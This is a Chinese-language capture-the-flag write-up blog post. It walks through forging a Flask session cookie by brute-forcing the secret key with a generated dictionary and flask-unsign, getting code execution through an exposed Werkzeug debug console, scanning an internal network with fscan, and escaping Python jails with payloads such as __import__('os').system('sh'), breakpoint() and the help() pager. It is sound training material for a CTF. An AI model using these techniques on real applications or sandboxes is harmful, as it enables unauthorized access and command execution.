打开后一看:

有点意思,这下成为红队选手了,那我们就去跟它耍耍:

打开是个login,试了试sql注入,没办法。

这里我的思路打开是前面的登录有一道类似的题目。 

可以看看我那道题的wp:admin-flask的session伪造 - Eddie_Murphy - 博客园 (cnblogs.com)

那没办法的情况下,我们就注册吧,点这个No account?

注册一个好臭的名字....

外网渗透的部分估计看它这意思估计就是flask的session伪造了,用了工具flask-unsign和一个python脚本生成密钥字典。虽然看起来这个东西是随机的,但是也可以爆,只要数量够多。

os.urandom(2).hex()

密钥字典脚本如下:

import os
with open('dict.txt','w') as f:
    for i in range(1,1000000):
        a = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
        f.write("\"{}\"\n".format(a))

我保存在桌面上了,等下要用文件路径(首先我就是不知道这个工具密钥字典怎么搞,所以卡了有点久....)。

首先肯定是需要bp抓包记一下这个session的,然后改权限伪造:

就抓这个登陆进去的留言板页面:

session:

eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImFkbWluMTE0NTE0In0.ZQAdNg.y8930WkLZ7bBo1Rhc7cdpoTUuJo

其实也可以直接用bp的base64 decode模块解密,这里还是用的原来用过的session脚本,这些操作在我那个wp里也有:

一般来说,伪造session是需要密钥和这个信息的,这里我搜了一下,可以用flask-unsign这个工具把密钥爆破出来,也就需要我们刚刚生成的密码字典:

输出的这个

This-random-secretKey-you-can't-get9f6a

就是密钥。

原信息有power和user的问题,那么我们肯定都改成admin,然后用flask_session_cookie_manager3脚本

直接给它加密回去伪造session:

使用命令:

python flask_session_cookie_manager3.py encode -s "(密钥)" -t "(修改的明文session)"

然后bp抓包改session,放包,欺骗成功:

看看留言板有无新信息:

估计这个进入调试模式就是关键了,我又去搜了搜,直接把网址后面改成/console就进去了,然后pin码输入这个138-429-604就成功进入控制台,然后用python就可以RCE了:

直接导入os然后看目录搜flag,搜到一个,我们直接读:

蚌埠住了,以为就结束了,但是三分了flag,唉,估计接下来就是内网渗透了,难难难!!!

想到前面第一个题目压缩包打开还有个hint,但也需要密码,并且让我们去找根目录下的readme,那就看看:

折磨之路开始了。

这里的折磨不是是我工具不好用,首先也不清楚内网外网的定义,瞎几把乱扫一通,甚至去扫题目的47.115.201.35后发现怎么都是错,这里就咨询了一下出题人,结果一语点醒了我:

什么是内网?

我直接去搜,才知道原来47.115.201.35是外网ip,内网ip是需要自己去找的。

我自己都绷不住了。

好吧,既然这是用python搭的,那么就去搜了搜python获取内网ip的脚本:

import socket

def get_local_ip_address():
    ip_address = ''
    try:
        # 获取本机主机名
        hostname = socket.gethostname()
        # 获取本机IP
        ip_address = socket.gethostbyname(hostname)
    except:
        pass
    return ip_address

而且,我开始连库都没搞明白,后面也搜了半天才知道,run程序这种还是需要subprocess库的。

具体代码:

import subprocess

# 切换到/app/tools目录
os.chdir('/app/tools')

# 执行fscan并捕获其输出
result = subprocess.run(['./fscan', '-h', 'x.x.x.x'], capture_output=True, text=True)

# 输出命令的输出内容
print(result.stdout)

而且到命令行里写,就不分行了,后面打分号 ; 才能运行。

那么说干就干!!!

先扫出内网ip:

然后网段啥的我也搜了,才用CIDR表示才能扫出网段而不是一个ip....(我好菜wwww)

扫描内网ip段也需要一段时间,等一会就是了。

一开始我把端口号全部连了一遍,结果密码错误,试了半天我才想起,出题人让我把xx.xx.xx.1的结果全部忽略,这是他自己服务器的其他正常服务。

那么,筛完端口号并从小到大排序:

22-3306-6379-8080

这就是密码,去试了试也正确了,打开了hint。

结果一看,还要渗透,哭了。

Pyjail:

不得不说,很好玩的东西。python沙盒逃逸,这个需要对python的内置函数有一定的了解,推荐去官网上看看。

目标命令:

__import__('os').system('sh')

直接来吧:

Jail Level 0:

不说了,进去一输就拿到了。

Jail Level 1:

nc 打开看看:

 一看源码,有长度限制,但是搜了搜还是很简单的。

长度绕过一般有常规三种方法:

1、eval(input())/exec(input())再去嵌套一层input,然后直接输入__import__('os').system('sh')
2、help()函数,利用more溢出直接搜flag
3、breakpoint(),进入pbd调试模式,然后step先看下uesr_input_data动向,然后改就完了

(第一个我没用出来过,可能是能力不够吧...)

这道breakpoint()绰绰有余了:

Jali Level 2:

不多说,直接看sandbox:

这次长度限制到6了,breakpoint()被ban了,那就用help():

接下来直接输个sys库,就可以进行MORE溢出:

再输个!sh就可以直接进目录cat flag了~~~~~~

Jail Level 3:

这里跟上面相比,breakpoint()进了黑名单,并且help()不让用。

这里其实可以用 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵() 来绕过,但是默认情况下windows会乱码,导致长度变长,然后寄了。

所以这里用虚拟机可以成功,我自己没去搭,借用一个博主的:小草爱吃楠瓜瓜

Jail Level 4:

复读机,我还以为是啥呢,结果一个RCE就爆了....

Leak Level 0:

查看sandbox源码发现:

那我们的目的就是拿到key然后装成管理员走后门进去。

直接globals()看存了啥玩意,找到了key。

登录然后一句话RCE就完事了:(RCE也可以用open("flag","r").read()拿到flag)

Leak Level 1:

这次长度缩到6了,而且输入含moe_det的不行。看来globals()寄了。

我搜了半天,发现还有个方法,就是用vars()函数。

内置函数vars可以返回对象的__dict__ 属性,对象可以是模块,类,示例,只要对象有__dict__ 属性,vars就可以返回:

 key到手,flag手到擒来。

Leak Level 2:

看看sandbox:

这次包含dbta的输入全给ban了, vars(),globals()都寄了,咋办捏?

我还有神级命令help()啊~~~~

这里使用__main__可以查看当前模块的信息,包括全局变量:

key到手!

接下来无需多言:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值